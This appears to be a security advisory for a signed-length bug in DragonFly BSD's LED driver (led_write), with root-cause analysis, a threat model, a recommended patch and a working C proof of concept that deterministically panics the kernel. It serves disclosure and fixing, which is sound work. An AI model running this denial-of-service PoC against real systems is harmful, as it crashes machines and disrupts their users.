• File: sys/dev/misc/led/led.c
• Lines: 232, 234–236 (length check / kmalloc / write)
• Severity: Low
• CVSS 3.1: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:N/I:N/A:H
• CWE: CWE-787 Out-of-bounds Write
• Confidence: certain
• Status: new

Summary

led_write validates the write length with if (uio->uio_resid > 512) (led.c:232), but uio_resid is a signed ssize_t, so a negative length passes the check.

Because sys_write's (ssize_t)nbyte < 0 guard (sys/kern/sys_generic.c:336-337) assigns EINVAL but never returns (dead-code bug), a write() with nbyte > SSIZE_MAX (e.g. (size_t)-1) reaches led_write with uio_resid = -1.

kmalloc(uio_resid+1) = kmalloc(0) returns the sentinel ZERO_LENGTH_PTR ((void*)-8); the subsequent s[uio_resid] = '\0' then writes one byte before that sentinel (address 0xfffffffffffffff7), a non-canonical x86-64 address, causing an immediate fatal #GP / page fault and a full kernel panic.

Root cause

led.c:232 if (uio->uio_resid > 512) does not reject negative values. uio_resid is ssize_t (sys/uio.h).

With uio_resid == -1:

• led.c:234 kmalloc(uio->uio_resid + 1, M_DEVBUF, M_WAITOK) → kmalloc(0), which the DragonFly slab allocator special-cases at kern_slaballoc.c:888-890 to return ZERO_LENGTH_PTR, defined as ((void *)-8) at kern_slaballoc.c:193.
• Then led.c:235 s[uio->uio_resid] = '\0' evaluates to s[-1], i.e. a store to (char*)-8 - 1 = 0xfffffffffffffff7, a non-canonical kernel address → trap → panic.

The negative resid is delivered intact because:

• kern_device.c:215 dev_dwrite() forwards the uio verbatim to d_write with no clamping,
• dofilewrite (sys_generic.c:482-529) does no resid<0 check, and
• sys_write (sys_generic.c:336-337) sets error = EINVAL for an oversized nbyte but omits the corresponding return, so the EINVAL is dead-coded and overwritten at sys_generic.c:349.

Threat model

Attacker position: any subject able to open a /dev/led/<name> character device. By default these are created mode 0600 root:wheel (led.c:305-306), so on a stock system this requires root (hence Low severity).

Impact: a single write(fd, buf, (size_t)-1) deterministically panics the kernel — a reliable local denial of service.

If a deployment relaxes /dev/led permissions, exposes the device into a jail, or any setuid/capability-bearing service holds the fd, the trigger becomes reachable from a lower privilege.

The defect is a genuine memory-safety input-validation bug (signed/unsigned length confusion) independent of the current default permissions.

Proof of concept

PoC (run as root; needs at least one registered LED device, e.g. /dev/led/thinklight on ThinkPads, /dev/led/mled on ASUS, etc.):

/* led_negpanic.c -- Build: cc -o led_negpanic led_negpanic.c */
#define _GNU_SOURCE
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <dirent.h>

int main(void){
    char path[256]="";
    DIR *d;
    struct dirent *e;
    int fd;

    d = opendir("/dev/led");
    if (!d) { perror("opendir /dev/led"); return 1; }
    while ((e = readdir(d))) {
        if (e->d_name[0] != '.') {
            snprintf(path, sizeof path, "/dev/led/%s", e->d_name);
            break;
        }
    }
    closedir(d);
    if (!path[0]) { fprintf(stderr, "no LED device registered\n"); return 1; }

    fd = open(path, O_WRONLY);
    if (fd < 0) { perror(path); return 1; }

    printf("write SIZE_MAX bytes to %s -> expect panic\n", path);
    write(fd, (void *)0x1000, (size_t)-1);   /* uio_resid wraps to -1 */
    return 0;
}

Run (as root): ./led_negpanic

Success criterion: immediate kernel panic with a supervisor-write page fault to non-existent address 0xfffffffffffffff7 (the s[-1] store in led_write at led.c:235), e.g.

Fatal trap 12: page fault while in kernel mode ...
fault virtual address = 0xfffffffffffffff7

No special setup beyond a registered LED cdev is required.

Recommended fix

Reject non-positive uio_resid in led_write before using it as both an allocation size and an array index. The signed comparison > 512 must also exclude values <= 0.

--- a/sys/dev/misc/led/led.c
+++ b/sys/dev/misc/led/led.c
@@ -229,7 +229,7 @@ led_write(struct dev_write_args *ap)
    struct sbuf *sb = NULL;
    int error, state = 0;

-   if (uio->uio_resid > 512)
+   if (uio->uio_resid <= 0 || uio->uio_resid > 512)
        return (EINVAL);
    s = kmalloc(uio->uio_resid + 1, M_DEVBUF, M_WAITOK);
    s[uio->uio_resid] = '\0';

This makes uio_resid provably in [1, 512] for every use below (kmalloc size, array index, and uiomove length).

Defense-in-depth (out of scope for this file): sys/kern/sys_generic.c:336-337 should additionally return (error); immediately after setting EINVAL so oversized nbyte never leaves sys_write, but that is a separate file and the led.c guard above is the local, authoritative fix.

References

• sys/dev/misc/led/led.c:232 — signed uio_resid > 512 length check misses negatives
• sys/dev/misc/led/led.c:234-235 — kmalloc(uio_resid+1) then s[uio_resid]='\0'
• sys/kern/kern_slaballoc.c:193,888-890 — ZERO_LENGTH_PTR = (void*)-8 for kmalloc(0)
• sys/kern/kern_device.c:215 — dev_dwrite forwards uio verbatim, no clamp
• sys/kern/sys_generic.c:336-337 — dead EINVAL for oversized nbyte (no return)